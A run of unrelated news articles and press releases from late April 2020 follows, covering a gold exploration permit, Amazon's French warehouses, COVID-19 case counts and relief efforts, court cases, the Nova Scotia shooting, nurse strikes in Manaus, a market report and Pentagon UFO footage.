Figure 2). The focus of the program will be initial drill testing of four of six main drill targets that trend along in an east-west direction and run sub-parallel to magnetic lineaments on Block A of the Property see Figure 3). These lineaments are interpreted to represent the contact between the Balmer and Confederation assemblages which is a geological/structural contact that is similar to the adjacent Pure Gold Mining property where development of the Red Lake Gold Mine is on track and first gold production is anticipated in late 2020. "We are thrilled to be preparing for our initial drilling campaign before the first anniversary of optioning the West Madsen Project from Great Bear Resources," said Mike Romanik President of GoldON. "The Ontario Government has deemed mining and exploration an essential business and we will be commencing the drill program as soon as logistically possible." R. Bob Singh, P. Geo, an independent qualified person as defined in National Instrument 43-101, has reviewed and approved the technical contents of this news release on behalf of the Company. About GoldON Resources Ltd. GoldON is an exploration company focused on discovery-stage properties located in the prolific gold mining belts of northwestern Ontario, Canada. Active projects include the West Madsen property in the Red Lake Gold Camp, an option/JV with Great Bear Resources; the Bruce Lake property that adjoins BTU Metals' Dixie Halo property and their TNT Target; and the 100% owned Slate Falls project in the Patricia Mining Division, where numerous Au-Ag mineralized zones have been identified over the 13-km breadth of the property. GoldON has 16,858,432 shares issued, all our properties are in good standing and we are fully funded for our 2020 exploration programs. For additional information: please visit our website at https://goldonresources.com, you can download our latest presentation by clicking here and you can follow us on Twitter at https://twitter.com/GoldONResources. ON BEHALF OF THE BOARD Signed "Michael Romanik" Michael Romanik, President Direct line: (204) 724-0613 Email: romanikm@mymts.net ### Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. SOURCE: GoldON Resources Ltd. View source version on accesswire.com:https://www.accesswire.com/587278/GoldON-Receives-Drilling-Permit-for-West-Madsen-Gold-Property-in-Ontarios-Red-Lake-Camp The six warehouses Amazon owns in France will remain closed until May 5th as the company assesses the best way to operate given the decision of the Court of Appeal. If youll recall, a lower court prohibited the e-commerce giant from selling non-essential items in the country, prompting it to shut down its warehouses in mid-April and putting its 10,000 workers on paid furlough. It tried to challenge the decision, but it ultimately lost its bid, with the Versailles Court of Appeals upholding the lower courts ruling. When the appeals court revealed its decision, Amazon said it has to assess the rulings implications for its business in the country. Sounds like the company still isnt done figuring things out. While Amazon lost its appeal in France, the court expanded the list of items it can sell, including pet supplies and personal care products the items would simply be shipped from its warehouses in Germany, Belgium and other European countries. The court also lowered the fine it has to pay for each violation from $1.08 million to $108,000, but the company said on Facebook that it could still result in penalties amounting to $1 billion per week. Unfortunately, the company wrote, this means that we have no choice but to extend the temporary suspension of the activity of our French distribution centres as we evaluate the best way to operate in the light of the Court of Appeal decision. Your browser does not support the audio element. Twenty Russian adults and 15 children marooned in Vietnams south-central province of Khanh Hoa due to the novel coronavirus disease (COVID-19) pandemic have found themselves a shelter provided by their compatriots. The shelter is a tenanted house at No. 76 Cao Van Be Street in Nha Trang City, the provincial capital. It has been rented by Gula and her husband, who only came to the city last year. The Russian couple was so charmed by the peaceful lifestyle and local peoples friendliness that they decided to settle in the coastal Vietnamese city, earning their living by giving dancing classes and running a small business. Although they are not wealthy landowners, Gula and her husband have decided to leave the door of their tenanted house wide open to stranded compatriots caught by canceled flights amid the COVID-19 pandemic. Every day, the Russian friends do the cooking, cleaning, and babysitting together. They also work together to find ways to help other stranded Russians by providing medicine and financial support to cover their living expenses. Alena Ptushka, 26, told Tuoi Tre (Youth) newspaper she and many other Russian visitors have been staying at Gulas house since flights returning to Russia were canceled, while hotels and restaurants in Nha Trang were closed to practice social distancing. According to Ptushka, she and her Russian compatriots were all running low on money and medicine. If it werent for Gula and her husband, we wouldnt know how we could make it during this COVID-19 pandemic, Ptushka said. According to the young woman, the Russians feel safe and protected in Nha Trang while the pandemic gets worse in Russia. Along with the support from Gula and her husband, the 'temporary tenants' in the house have received unexpected gifts from the local people in Nha Trang. Ptushka emotionally told Tuoi Tre how touched she felt when she was given a free meal by a local store. An attendant there even asked her to come back for free lunch every day. It was such a surprise! Its hard for us to find a place to eat in the city right now. What the Vietnamese people are doing is just so adorable and kind, Ptushka said. Local residents donated uncooked rice and vegetables to the group of Russians, while Gulas Vietnamese landlord has agreed to slash her rent for three months, she said. Local authorities have been providing both financial and mental support to the stranded Russians. Our units are willing to help them with food and medicine. I hope these foreigners feel secured in Nha Trang, said Khanh Hoa vice-chairman Nguyen Dac Tai. On Monday morning, some guests at Gulas house were among 182 Russians flown home from Cam Ranh International Airport in Khanh Hoa on a special flight arranged by Vietnamese and Russian authorities. Meanwhile, Gulas family and some other Russian nationals have decided to continue staying and working in Vietnam. Maybe Ive fallen in love with this land already. Thank you, Vietnam! You guys are wonderful, Gula said. Vietnam has confirmed 270 cases so far, with 222 having recovered, according to Ministry of Health statistics. No death from the disease has been recorded in the country. The only COVID-19 case reported in Khanh Hoa has been cleared of the virus. In Russia, the authorities reported 6,198 new cases of the new coronavirus on Monday, bringing the total to 87,147, with 794 deaths, according to Reuters. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! New Delhi, April 28 : Congress General Secretary Priyanka Gandhi Vadra has lashed out at the Uttar Pradesh government for deteriorating law and order situation, rise of crime and murder of two saints in Bulandshahr on Tuesday. She said, "Today in Bulandshahr, two sadhus were murdered while they were sleeping. The truth must come out after investigation in this heinous crime and at this stage no body should politicize this issue." "In UP before April 15, about 100 people have been murdered. Three days back in Etah, five of a Pachauri family have been killed so mysteriously that no body knew what has happened," she added. She urged the UP government for thorough and fair investigation to bring out the truth behind the murders as it is the state government's responsibility. Two sadhus were found murdered inside a Shiva temple at Pagona village of Bulandshahr district in Uttar Pradesh on Tuesday. The murder came to light when people reached the temple on Tuesday morning and saw the blood-soaked bodies. According to reports, the deceased have been identified as Jagandas (55), and Sevadas (35). Chief Minister Yogi Adityanath has taken cognizance of the incident and directed the district officials to reach the site of crime and inform him of the investigations. He has also ordered strict action against the accused. With 20 people testing positive for coronavirus in Ranchi district on Monday, Jharkhand saw the highest single-day spike in the Covid-19 cases in the state so far, taking the total count to 103. State health departments principal secretary Nitin Madan Kulkarni said, Twenty new Covid-19 cases were found in Ranchi district, including three from Itki and four from Hindpiri. While three cases were reported from Itki block, two cases were found in Bero blocks on Monday. The rest nine were reported from Kadru, Doranda, Kanke and Hindpiri. Rajendra Institute of Medical Sciences director Dr D K Singh said 20, out of the total 370 samples tested during the day, were found positive, according to news agency PTI. He said the new patients include an assistant sub-inspector of police, who was on duty at Ranchis Hindpiri locality, a Covid-19 hotspot, and an ambulance driver. Jharkhand has 83 active coronavirus cases while three people have died till now due to the pandemic. Seventeen have recovered from the disease. Ranchi district has so far recorded the maximum number of cases which reached 75 on Monday. (With inputs from PTI) SHARE THIS ARTICLE ON Orange County Fire Authority firefighters and others thank healthcare workers for their efforts to combat COVID-19 at Mission Hospital. (Robert Gauthier / Los Angeles Times) Orange County announced three additional coronavirus-linked deaths Tuesday as the number of people hospitalized while battling COVID-19 hit a new high. The latest fatalities pushed the county's total death toll to 42. However, its mortality rate associated with COVID-19 remains just under 2% significantly lower than the state's, which is about 4%, and neighboring Los Angeles County's, which is roughly 4.7%. Of the confirmed victims in Orange County, 25 were at least 65 years old. Only five were 44 or younger. Countywide, 178 people were hospitalized as of Tuesday a new single-day high for the county and 74 of those patients were in intensive care. Over the previous week, the number of people hospitalized has ranged between 148 and 162. The Orange County Health Care Agency also announced 34 new COVID-19 cases Tuesday, bringing the region's cumulative count to 2,151. Tuesday's report followed a weekend of contrasts in Orange County that saw significant crowds flocking to the region's still-open beaches and local health officials confirm the county's biggest two-day increase in confirmed COVID-19 cases. Saturday alone saw 122 new cases reported, which was a daily record in the county. An additional 102 and 51 cases were confirmed Sunday and Monday, respectively. However, those higher case counts are probably a byproduct of a significant uptick in how many people the county is testing. Since Friday, the county has conducted 6,921 tests including 2,267 on Sunday alone, which was easily a new high-water mark. Overall, 27,737 people have been tested for COVID-19 countywide. While the county has the capacity to ramp up its testing even more dramatically, a present issue is a lack of all the materials needed to administer them namely swabs, extraction kits and personal protective equipment, according to Lilly Simmering, the county's deputy Health Care Agency director and interim public health director. Story continues "Its like baking a cake," she told the Orange County Board of Supervisors on Tuesday. "If you dont have flour, but you have eggs and you have sugar and you have baking soda, you can't build it. You can't bake it." Overall, though, she said the county is trending in a good direction as its fatality rate remains low and sufficient capacity currently exists in the regional hospital system. "This doesnt mean that we should stop doing the things weve learned to do: social distancing, wear face coverings and be very cognizant of our at-risk population," she said. Officials in Orange County, like other regions of the state, have begun looking toward a future when California's stay-at-home regulations can be relaxed and businesses can begin to reopen. To that end, the board unanimously approved a set of business guidelines Tuesday seeking to "strike a balance between the need for continued protection from the disease and the need for the economy to function again," Supervisor Don Wagner said. "These guidelines are intended to state clearly the minimum that business owners and operators must do, in addition to following all applicable jurisdiction's orders," he said. Employers should require customer-facing workers to wear disposable gloves or wash their hands or use hand sanitizer every 30 minutes, per the guidelines. "Face coverings should be provided to all employees," the guidelines state. "All employees, before starting a shift, should have their temperatures taken and not be permitted to work upon a temperature reading above 100.4 degrees." Patrons "should also wear appropriate face coverings," the guidelines add. Businesses also should "make every effort to limit touch points," according to the guidelines, and "significantly increase [the] frequency of sanitizing workstations and equipment." The guidelines also include wording related to physical distancing in the workplace "a minimum of six feet should be maintained between customer-facing employees and the general public and, to the extent practical, between employee workstations. Where six feet ... between workstations is impractical, face coverings should be worn." When practical, businesses also should allow telecommuting, according to the guidelines. Regardless of what guidelines the county adopts, though, the ultimate say on when and how businesses can get back up and running is up to the state. There could be progress on that front, though. Gov. Gavin Newsom said Tuesday that businesses seen as presenting less risk of spreading the coronavirus could open within the next few weeks. However, he said that call will be based on data and shaped by public health considerations. Politics will not drive our decision-making. Protests wont drive our decision-making. Political pressure will not drive our decision-making, he said. Judge Kwok Wai-kin caused a stir after justifying attacker who wounded three pro-democracy protesters. He compared the three to terrorists, claiming that despair was behind the attackers "abnormal" act. Activists fear that Beijing is manoeuvring Hong Kong judges. Hong Kong (AsiaNews) A Hong Kong judge, Kwok Wai-kin, has been removed from protest-related cases after he expressed sympathy for a tourist guide who stabbed three pro-democracy protesters and compared the latter to "terrorists. Last August, during anti-extradition protests, Tony Hung attacked three pro-democracy activists with a meat cleaver as they put up posters in the Tseung Kwan O area, leaving one in serious condition. Last Friday, in reading the sentence of 45 months in prison, Judge Kwok claimed that only despair drove the attacker to carry out the "abnormal" act because protests had prevented him from working and making a living. According to Kwok, Hung was the victim of the tense situation that had developed in the city and that he did not want to violently impose his political beliefs on the three activists. On Sunday, Kwok was replaced by Judge Justin Ko in another protest-related case because of his remarks in favour of Tony Hung. Since protests began in June 2019, the anti-extradition movement expanded its demands, calling for democratic reforms, greater autonomy from Beijing, and an investigation into the violent police response. Activists fear that China is trying to stir Hong Kong judges in trials involving pro-democracy sympathisers. Recent report suggest that local judges have received orders from Beijing not to acquit any protesters. According to the Hong Kong bar Association, the Chinese government has no oversight authority over Hong Kong's internal affairs. Specifically, Article 22 of Hong Kongs Basic Law stipulates that Beijing cannot interfere in the affairs of the autonomous region. Under the "one country, two systems" principle, the former British colony will retain a certain degree of political and economic autonomy from mainland China until 2047. HALIFAX - As police closed in on a killer who had already murdered more than a dozen people in a rural corner of Nova Scotia, the suspect narrowly escaped by driving a replica police car through a field under cover of darkness, the RCMP revealed Tuesday. Hey there, time traveller! This article was published 28/4/2020 (624 days ago), so information in it may no longer be current. A woman pays her respects at a roadside memorial on Portapique Road in Portapique, N.S. on Friday, April 24, 2020. At least 22 people are dead after a man, who at one point wore a police uniform and drove a mock-up cruiser, went on a murder rampage in Portapique and several other Nova Scotia communities. THE CANADIAN PRESS/Andrew Vaughan HALIFAX - As police closed in on a killer who had already murdered more than a dozen people in a rural corner of Nova Scotia, the suspect narrowly escaped by driving a replica police car through a field under cover of darkness, the RCMP revealed Tuesday. RCMP Supt. Darren Campbell said the first 911 call on April 18 came from the village of Portapique just after 10 p.m. and officers arrived at the scene on Portapique Beach Road at 10:26 p.m. The road provides the only access to the main highway, which is why police believed they had the assailant cornered. However, Campbell confirmed Tuesday that police have since learned a resident spotted the gunman fleeing the area only nine minutes later. "There was a witness that saw a vehicle that was travelling through a field, which was not very common," Campbell told a news conference at RCMP headquarters in Halifax. Though police had provided a detailed timeline last Friday, the timing of the 911 call, the quick escape and several other key details of what happened later that night were not disclosed. Gabriel Wortman, who killed 22 people over a span of about 13 hours, drove east from Portapique to Debert, N.S., where he arrived at 11:12 p.m. and spent the night in an industrial park, Campbell said. As for the replica police car, which the gunman used to escape and later surprise victims, it was obtained in the fall of 2019, and was one of four former police vehicles he bought at auctions in the last few years. Campbell said the 51-year-old Halifax-based denturist outfitted the vehicle with an emergency light bar and decals that made the late-model Ford Taurus look almost identical to a genuine RCMP vehicle. "The gunman was a collector of many things, including police memorabilia," Campbell told reporters. "He was in possession of multiple pieces of police uniforms from a variety of agencies .... How he obtained the decals and how they were produced is an investigative detail that I can't get into." Campbell said many witnesses have come forward to confirm the killer had a keen interest in the RCMP. Used RCMP uniforms can be purchased from surplus stores, auctions and through online vendors, but Campbell said it was unclear how the suspect obtained the uniform in question. "He didn't hide that fact that he had cars or memorabilia from people that knew him," he said. However, the senior Mountie said police were not aware of these collections. The gunman was wearing an authentic RCMP shirt and yellow-striped pants during the initial stage of his 90-kilometre rampage, said Campbell, the officer in charge of support services for Nova Scotia. He confirmed that police had interviewed retired RCMP officers who were related to Wortman, but Campbell said there was no indication they offered any help to the shooter. As for the weapons used, police had earlier confirmed the suspect had pistols and long-barrelled weapons. But Campbell went further on Tuesday, saying the shooter had several semi-automatic handguns and two semi-automatic rifles. Some of the weapons came from the United States, but he didn't specify which ones. Investigators have yet to speculate about a motive, though they have confirmed the killings started after the suspect assaulted his common-law partner in Portapique, which is home to about 100 people. The woman survived by fleeing her home and hiding in the nearby woods, but 13 others died in the neighbourhood. On Friday, Campbell said the assault may have been a "catalyst" to the murders that followed. But on Tuesday, he stressed that no one should be left with the impression that the woman "had anything to do with the gunman continuing on with his rampage." "The word catalyst was used to express that that was the first victim in a series of very horrific events," Campbell said. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "I want to be very clear that violence against women is intolerable. It's real. It exists. I don't want to be misunderstood, that the victim had any blame in relation to what occurred on those awful days." Campbell said he was not aware of any evidence to suggest the gunman was targeting women. "It appeared as if he was just targeting individuals that either he knew or individuals (at random) for whatever reason." Police have identified 435 witness and have already interviewed half of them. As well, investigators have processed 20 legal applications, many of them for search warrants. The Mounties said the remains of eight victims have been recovered from burned structures and vehicles, though the causes of death have yet to be determined. This report by The Canadian Press was first published April 28, 2020. The International Air Transport Association (Iata) has called on regulators to take urgent action to help civil aviation operate seamlessly and safely between states during the Covid-19 pandemic, as well as to help facilitate the restart when the virus is contained. Specifically, Iata asked states to take the following immediate steps: Work with the aviation industry to find temporary measures to ensure that licenses and certificates critical to managing aviation safety are extended to remain valid; File their temporary measures with the International Civil Aviation Organization (ICAO); Recognize the measures of other states that are filed with ICAO. Many aviation regulators around the globe have already taken the necessary steps to provide airlines and licensed crew with the required flexibility, such as extensions to the validity periods for licenses, ratings and certificates, so operational capabilities can be maintained. However, to be effective, these measures must be filed with ICAO so that they can be visible to and recognised by counterpart states. Without mutual recognition, airlines are faced with uncertainty over whether they might be restricted by the states whose territory they enter. Safety is always the top priority. We therefore commend ICAO for their swift action to facilitate the sharing of states temporary regulatory extensions, making it easier for states to extend their mutual recognition, said Gilberto Lopez Meyer, Iatas senior vice president, Safety and Flight Operations. At present, many of the worlds aviation regulators are not able to perform their standard administration of various licenses, as their operations have also been impacted by the Covid-19 outbreak. In order not to further impede global aviation, ICAO has established the Covid-19 Contingency Related Differences (CCRD) system. This enables all states to record any differences to their standard policies and to make a clear statement that they accept other states differences through a new form. This will ensure safe continuity of flights between countries in a harmonized, documented process. - TradeArabia News Service The call for research projects addressing current and future challenges of COVID-19 launched by the Luxembourg National Research Fund (FNR) is now open to public-private partnerships involving companies and research institutions. The participation of companies will be co-funded by the Ministry of the Economy. Luxinnovation will advise companies on their participation and provide support to the proposal evaluation process. In order to provide a coordinated response to the coronavirus pandemic, the Luxembourg research community has set up a COVID-19 Task Force involving the country's major research institutions. As part of the Task Force's activities, the FNR has launched a rapid call to provide initial (co-)funding to short-term research project as well as to the initial phase of long-term initiatives targeting COVID-19. Funding is allocated through a fast-track mechanism that makes it possible to support urgent research projects requiring an immediate start. Luxinnovation, the national innovation agency, is in charge of mobilising and coordinating private partner initiatives related to the COVID-19 Task Force's activities, and has worked together with the FNR to open the call for proposals to public-private partnerships. Private companies and public research organisations can now submit common research project proposals. The proposals will go through a joint evaluation process involving both the FNR and the Ministry of the Economy, with additional support from Luxinnovation. The public research partners of approved projects will receive funding from the FNR, and private companies from the Ministry of the Economy. The next deadline for submitting project proposals is 11 May 2020. In order to be eligible, project ideas must be published on the Research Luxembourg COVID-19 platform (https://lux-covid19.lu/) by 29 April 2020, 14:00 (CET). Further details about the call are available on the FNR website (https://www.fnr.lu/funding-instruments/covid-19). Companies interested in participating in the call for proposals are invited to contact Luxinnovation, whose experts in health technologies and research funding will advise on the call guidelines and provide guidance for finding suitable public research partners. Press release by the Ministry of the Economy and Luxinnovation LaCasse said Reade told her in the mid-1990s that Biden had put his hand up her skirt and he put his fingers inside her, she said. Bidens campaign flatly denies the allegations, but he has not said anything in public about them. He needs to do so, and I presume that he will as the campaign heats up. For now, I foresee a Can-You-Top-This debate over the allegations against Biden versus the two dozen women who have made similar charges against Trump. A man described as a danger to society who was found guilty of raping his heavily-pregnant partner has had his conviction overturned on appeal. The Central Criminal Court trial had heard that the woman gave birth to the couple's second child three days after the rape. The Dublin man (aged 55), who cannot be identified to protect the anonymity of the victim, was found guilty by a Central Criminal Court jury on two counts of rape at his home on the 22nd and 23rd of December 2014 following a three-week trial in April 2017. He had already been convicted of three counts of sexual assault against the same victim. This 2016 trial heard that the man had videoed these sexual assaults using a torch and his mobile phone. He had denied all charges throughout the two trials. Jailing him for five years for the sexual assaults, Ms Justice Deirdre Murphy had said: Any person who is willing to drug another person for his own sexual needs, is a danger to society. Following the rape trial, Mr Justice Paul Butler imposed a concurrent sentence of 10 years imprisonment with the final two years and six months suspended. In December last year, the man moved to have his conviction for the rape offences quashed on a number of grounds before the Court of Appeal. The mans barrister, Michael Bowman SC, had argued that the trial judge erred when he told the jury they could consider the consistency of the complainants account as being supportive "or corroborative" of the prosecution case. The trial judge should not have said or corroborative, Mr Bowman submitted, because the jury had just been told that corroboration was independent evidence. He conflated consistency of the complainants account with corroboration, counsel submitted, which was an error in law. In a written judgement delivered earlier this month, Mr Justice John Edwards said the question for the court to consider was whether the consistency of the complainant could possibly be supportive or corroborative of the prosecution case, as was suggested by the trial judge. Mr Justice Edwards said evidence pointing to consistency does not represent evidence additional to that of the complainant and so does not support the prosecution case. He said the court did not believe such evidence is sufficiently independent of the complainant for it to represent possible corroboration in the legal sense. He said the appeal court was satisfied that the judges charge did contain a misdirection in terms of what evidence was capable of supporting or corroborating the prosecution case and that it was reasonably possible the jury could have been misled by this. Mr Justice Edwards said the court would uphold the complaints made by the appellant concerning a misdirection on what was capable of amounting to corroboration and would allow the appeal on this sole ground. All further grounds of appeal advanced by the man were rejected, including a point of appeal in relation to adverse publicity ahead of his second trial. Mr Bowman had told the court that the man was convicted of sexual assault in September 2016 and sentenced on February 6, 2017. A jury disagreement on the two rape counts was retried in March 15, 2017, six weeks after the man was sentenced for sexual assault, and it was argued there was a failure to postpone the trial over alleged adverse publicity. On March 20 a newspaper article in 'The Irish Sun', which had been published three weeks earlier, was submitted to the Central Criminal Court and the judge was asked to discharge the jury on grounds of adverse publicity. Neither the man, the complainant nor the rape charges were named in the article. It referenced their ages, her pregnancy, and the fact he had filmed himself sexually assaulting her. Mr Justice Edwards said the court was satisfied that the trial judge dealt appropriately with the issue of adverse pretrial publicity and it was not necessary for him to discharge the jury. In an order delivered electronically this morning, Mr Justice Edwards said the court would quash the rape convictions recorded on the April 6, 2017. No retrial was directed. Hundreds of Brazilian nurses staged a work stoppage on Monday morning at the 28 de Agosto Hospital in the Amazonian capital of Manaus, protesting the criminal irresponsibility of the government in failing to provide health care workers with adequate personal protective equipment (PPE), leading to widespread illness and deaths of co-workers. Manaus, with a population of over two million, is the first Brazilian city to declare the collapse of its health care system due to the coronavirus. With the height of the pandemic not expected until next month, 90 percent of ICU beds are already full. The 28 de Agosto Hospital is the largest in the state and the main treatment center for the disease. It has been the scene of the most terrible effects of the virus. Videos taken inside the hospital have shown dead bodies lying in the midst of patients undergoing treatment. The number of people falling sick to the virus is so high and the deaths are so constant that there are reports of ambulances waiting at the hospitals doors until someone dies so that a new patient can be admitted. I work in the August 28 ICU, the largest ICU in Latin America, and its devastated, a nurse reports in a Facebook video. We dont have any materials, its one ICU kit per night and we get contaminated with blood, with secretion and theres no other one to change into. I think its a complete lack of preparation by the government to put us on the front line where everyone needs our services and were coerced to say nothing. Striking nurses in Manaus holding photos of fellow workers who have died of COVID-19. The strike was a cry of desperation from the workers. In addition to the lack of PPE, nurses in the state have not been paid their salaries, in some cases for up to eight months. Weve been given 40 percent [of salary] for those who work in the ICU and thats not fair, were working directly with these cases ... We dont have working conditions, they pay R$1,500 [US$ 265] and tell us to shut up. Over the weekend, a nurse published a video in which he claimed to have been subjected to coercion from hospital administration, after having posted comments on social media in favor of the strike. I posted and I reaffirm, he said, If you dont have the PPE on the table in each sector, the August 28 Hospital will stop. Dont come with this nonsense about the governor providing for us. The governor is providing nothing but for himself, let alone the masks ... The nurses of August 28 are tired of standing still, tired of being humiliated. If you dont have the material were demanding, it is going to stop! On Monday morning the nurses and nursing aides gathered and occupied the street in front of the hospital in protest, holding posters with the demand for PPE and photographs of their colleagues who have died as a result of the coronavirus. They chanted: Nursing is in mourning! A visibly emotional worker, interviewed in the midst of the protest, declared: There will be a lot of threats, there already are. Our colleagues are already receiving calls to stop this demonstration, that we have to stop this. We dont have to stop it. We have to have courage, as we have now. Do you know why? Because a lot of people are dying, a lot of family. Were leaving here to take the disease into our homes, to our mothers, fathers, brothers. Were outraged, it hurts here in our hearts. Look at this, a fighting professional who is gone [she says showing the photo of a colleague who died] ... And Ill be a fighter who may be gone. Because I dont know. Ive never taken the test; Ive not been seen by a doctor, In not seen by anyone. How many times have I been sick and not seen here? Nobody goes to my house to know if Im okay or if Im bad, if Im dying... Is there a psychologist in my house? No. They want us to kill ourselves here... Were badly paid but were here giving our love, our lives to help the population. Then there are the privileged ones. The politicians, the managers, the ones with the big positions. Were dying, help the people who are dying in health care! The situation exposed by the health care workers, whom the government is trying to suppress, contrasts starkly with official data. To date there are only 304 confirmed deaths in the state of Amazonas. However, in Manaus alone on Sunday, 140 people were buried, and before the beginning of the pandemic the average number of burials was only 30. The municipality states that of these 140, only 10 were confirmed cases of COVID-19; another 47 died from respiratory failure and the rest had no recorded cause of death. The conditions in Manaus are gradually spreading throughout Brazil, which had nearly 67,000 confirmed cases of the disease and over 4,500 deaths as of Monday. With a lack of any substantial testing, medical authorities recognize that the real number of cases is up to 15 times higher than the official totals. Striking nurses in Manaus with banner reading: "Nurses Call For Help. Negligence in Health Care" Over the last two weeks, strikes and protests by nurses have been growing across the country against the deadly conditions to which health professionals are being exposed. Also on Monday, another demonstration by nurses took place at the other end of the country, in Sao Paulo, at the Municipal Hospital. Nurses gathered in the morning to protest the lack of PPE and to mourn a colleague who had died of COVID-19. Criminally ignoring the reality of the pandemics spread, the Brazilian ruling class is forcing a reactivation of economic activities with the sole aim of ensuring the flow of profits to the corporations and banks. From Maranhao, governed by Flavio Dino of the Maoist Communist Party of Brazil (PCdoB), to Sao Paulo, governed by Joao Doria, the most right-wing politician of the Brazilian Social Democratic Party (PSDB), Brazilian governments are preparing a premature return to work in the coming weeks, which will cost the lives of thousands of workers, including nurses and other health care professionals who will face a new wave of the sick and dying pouring into ill-equipped hospitals. Technavio has been monitoring the baby safety products market and it is poised to grow by USD 3.26 billion during 2019-2023, progressing at a CAGR of almost 5% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005681/en/ Technavio has announced its latest market research report titled Global Baby Safety Products Market 2019-2023 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Latest Free Sample Report on COVID-19 Impact The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. Artsana Spa, Britax Romer, Dorel Industries Inc., Goodbaby International Holdings Ltd., Jane Group, Koninklijke Philips NV, Motorola Mobility LLC, Newell Brands Inc., Nuna International BV, and RECARO Holding GmbH are some of the major market participants. The growing demand for smart baby products will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Growing demand for smart baby products has been instrumental in driving the growth of the market. Baby Safety Products Market 2019-2023: Segmentation Baby Safety Products Market is segmented as below: Product Baby Car Seats Baby Strollers And Prams Baby Cribs Baby Monitors Geographic Landscape APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download latest free sample report of 2020-2024: https://www.technavio.com/talk-to-us?report=IRTNTR32072 Baby Safety Products Market 2019-2023: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our baby safety products market report covers the following areas: Baby Safety Products Market Size Baby Safety Products Market Trends Baby Safety Products Market Industry Analysis This study identifies availability of customization of baby safety products as one of the prime reasons driving the baby safety products market growth during the next few years. Baby Safety Products Market 2019-2023: Vendor Analysis We provide a detailed analysis of vendors operating in the baby safety products market, including some of the vendors such as Artsana Spa, Britax Romer, Dorel Industries Inc., Goodbaby International Holdings Ltd., Jane Group, Koninklijke Philips NV, Motorola Mobility LLC, Newell Brands Inc., Nuna International BV, and RECARO Holding GmbH. Backed with competitive intelligence and benchmarking, our research reports on the baby safety products market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Baby Safety Products Market 2019-2023: Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist baby safety products market growth during the next five years Estimation of the baby safety products market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the baby safety products market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of baby safety products market vendors Table Of Contents: PART 01: EXECUTIVE SUMMARY PART 02: SCOPE OF THE REPORT 2.1 Preface 2.2 Preface 2.3 Currency conversion rates for US$ PART 03: MARKET LANDSCAPE Market ecosystem Market characteristics Market segmentation analysis PART 04: MARKET SIZING Market definition Market sizing 2018 Market size and forecast 2018-2023 PART 05: FIVE FORCES ANALYSIS Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition PART 06: MARKET SEGMENTATION BY PRODUCT Market segmentation by product Comparison by product Baby car seats Market size and forecast 2018-2023 Baby strollers and prams Market size and forecast 2018-2023 Baby cribs Market size and forecast 2018-2023 Baby monitors Market size and forecast 2018-2023 Market opportunity by product PART 07: CUSTOMER LANDSCAPE PART 08: GEOGRAPHIC LANDSCAPE Geographic segmentation Geographic comparison Europe Market size and forecast 2018-2023 North America Market size and forecast 2018-2023 APAC Market size and forecast 2018-2023 South America Market size and forecast 2018-2023 MEA Market size and forecast 2018-2023 Key leading countries Market opportunity PART 09: DECISION FRAMEWORK PART 10: DRIVERS AND CHALLENGES Market drivers Market challenges PART 11: MARKET TRENDS Growing demand for smart baby safety products Expansion of retail channels Innovations in baby safety products PART 12: VENDOR LANDSCAPE Overview Landscape disruption Competitive scenario PART 13: VENDOR ANALYSIS Vendors covered Vendor classification Market positioning of vendors Artsana Spa Britax Romer Dorel Industries Inc. Goodbaby International Holdings Ltd. Jane Group Koninklijke Philips NV Motorola Mobility LLC Newell Brands, Inc. Nuna International BV RECARO Holding GmbH PART 14: APPENDIX Research methodology List of abbreviations Definition of market positioning of vendors PART 15: EXPLORE TECHNAVIO About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005681/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ P reviously leaked videos of US Navy pilots encountering "unexplained aerial phenomena" have been released by the Pentagon. Navy pilots recorded the footage of what appeared to be Unidentified Flying Objects (UFOs) in November 2004 and the other two in January 2015, but they had been circulating in the public domain after they were leaked in 2007 and 2017. The grainy footage was taken during flight training sessions and could spur speculations that humans have interacted with extra terrestrial life. The US Department of Defence decided to officially release the videos amid claims the footage was fake. It was released on the grounds that they do not "reveal any sensitive capabilities or systems" and they do not impinge on any investigations of military air space incursions of "unidentified aerial phenomena". Footage released by the Pentagon appears to show UFOs In a statement on its website, the DOD said: "DOD is releasing the videos in order to clear up any misconceptions by the public on whether or not the footage that has been circulating was real, or whether or not there is more to the videos. "The aerial phenomena observed in the videos remain characterised as 'unidentified'." Former Senate Democratic leader Harry Reid, from Nevada, tweeted that the three videos "only scratches the surface of research and materials available." In the first weeks of March, the in-demand hip-hop dance makers Keone and Mari Madrid were as busy as they wanted to be. Along with performing Off Broadway in their breakout dance drama, Beyond Babel, they were rehearsing daily as choreographers of the Broadway-bound musical based on Britney Spears hits, Once Upon a One More 